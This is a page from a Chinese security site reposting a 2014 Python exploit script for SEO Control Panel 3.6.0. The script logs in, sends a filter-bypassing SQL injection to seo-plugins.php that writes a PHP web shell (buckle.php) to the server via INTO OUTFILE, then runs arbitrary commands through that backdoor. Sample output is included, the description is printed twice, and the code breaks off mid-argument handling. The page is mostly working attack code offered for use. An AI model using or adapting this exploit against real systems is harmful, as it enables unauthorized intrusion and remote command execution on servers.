首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SEO Control Panel 3.6.0 - Authenticated SQL Injection
来源:Tiago Carvalho tcarvalho@dognaedis.com 作者:Carvalho 发布时间:2014-10-15  
# Exploit Title: Seo Control Panel 3.6.0 Authenticated Sql Injection
# Date: 10/10/2014
# Exploit Author: Tiago Carvalho tcarvalho@dognaedis.com or tiago.alexandre@gmail.com
# Vendor Homepage: www.seopanel.in
# Software Link: http://www.seopanel.in/spdownload/
# Version: Seo Panel Version 3.6.0
# Tested on: Kali Linux and MAC OS X Mavericks
# OSVDB ID: Requested
"""
This vulnerability affects Seo Control Panel -
Product: Seo Panel Version 3.6.0
Tested on PHP 5.4.4-14+deb7u14
Vendor url :http://www.seopanel.in/
Their are multiple vulnerabilitis in the project not all of them are
exploitable
The Flowing exploit is able to successfull bypass the implemented
protections based on set of regex with along with a blacklist
the protections are implemeted in the flowing file:
  
file : includes/sp-load.php
lines: 128 to 150
  
The protection can easly be bypassed with payload used by this exploit
  
The Vulnerable method exploited is located at:
file: seo-plugins.php
method: __getSeoPluginInfo
lines: 175 to 178
Due to incorrect use of database client api
  
$ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
[*] Upload was successfull!
  
$ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
total 12
drwxrwxrwx 2 root root 4096 Oct 9 18:06 .
drwxr-xr-x 14 root root 4096 Oct 9 11:31 ..
- -rw-rw-rw- 1 mysql mysql 42 Oct 9 18:06 buckle.php
"""
  
#!/usr/bin/env python
import sys
import urllib2
import urllib
import cookielib
"""
    This vulnerability affects Seo Control Panel - 
    Product: Seo Panel Version 3.6.0 
    Tested on PHP 5.4.4-14+deb7u14
    Vendor url :http://www.seopanel.in/
    Their are multiple vulnerabilitis in the project not all of them are exploitable
    The Flowing exploit is able to successfull bypass the implemented protections based on set of regex with along with a blacklist
    the protections are implemeted in the flowing file:
      
    file : includes/sp-load.php 
    lines: 128 to 150
      
    The protection can easly be bypassed with payload used by this exploit
  
    The Vulnerable method exploited is located at: 
    file: seo-plugins.php 
    method: __getSeoPluginInfo
    lines: 175 to 178
    Due to incorrect use of database client api 
  
    $ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
    [*] Upload was successfull!
      
    $ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
    total 12
    drwxrwxrwx  2 root  root  4096 Oct  9 18:06 .
    drwxr-xr-x 14 root  root  4096 Oct  9 11:31 ..
    -rw-rw-rw-  1 mysql mysql   42 Oct  9 18:06 buckle.php
  
"""
def exploit(host,path,username,password):
    #POST Login content type
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
  
    #payload creates a file in project_dir/tmp
    payload = {'pid':'\' UNION/**/select/**/\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',"\<\?php system($_REQUEST[\'cmd\']);\?\>"/**/from/**/seoplugins/**/into/**/outfile/**/\'/var/www/seopanel/tmp/buckle.php'}
  
    base_url = "http://"+host+path
      
    #url
    post_args = {'userName': username, 'password': password,'sec':'login','referer':base_url,'login':'Sign In >>'}
  
    #login url
    url_login = base_url+"/login.php"
  
    #vulnerable url
    url_plugins = base_url+"/seo-plugins.php"
  
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    request = urllib2.Request(url_login)
    request.add_data(urllib.urlencode(post_args))
    request.add_header('Content-type', 'application/x-www-form-urlencoded')
    login_request = opener.open(request)
  
    code = int(login_request.code)
    if code == 200:
        try:
            ##The server returns a http status 500 but even when the attack is successfull
            opener.open(url_plugins,urllib.urlencode(payload))
        except Exception, e:
            if check(base_url) == True:
                print "[*] Upload was successfull!"
  
#call uploaded backdore and execute requested command
def shell(url,command):
    url_shell = url+'/tmp/buckle.php'
    encoded_args = urllib.urlencode({'cmd':command})
    return urllib2.urlopen(url_shell, encoded_args)
      
  
#call uploaded backdore execute requested command and print the result
def cmd(host,path,command):
    url = "http://"+host+path
    print shell(url,command).read()
  
#check uploaded backdore is in place 
def check(url):
    code = shell(url,"ls").code
    if(code == 200):
        return True
    else:
        return False
  
if len(sys.argv) == 6:
    if str(sys.argv[1]) == "e":
        exploit(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]),str(sys.argv[5]))
  
if len(sys.argv) == 5:
    if str(sys.argv[1]) == "c":

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Android browser versions 4.4 c
·DNS Reverse Lookup Shellshock
·Wordpress InfusionSoft Upload
·Microsoft Bluetooth Personal A
·Rejetto HttpFileServer Remote
·Drupal 7.X SQL Injection
·F5 iControl Remote Root Comman
·SAP Netweaver Enqueue Server T
·Linux Kernel 3.16.1 FUSE Privi
·Drupal Core <= 7.32 - SQL Inje
·OpenSSH 6.6 SFTP Misconfigurat
·Drupal Core <= 7.32 - SQL Inje
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved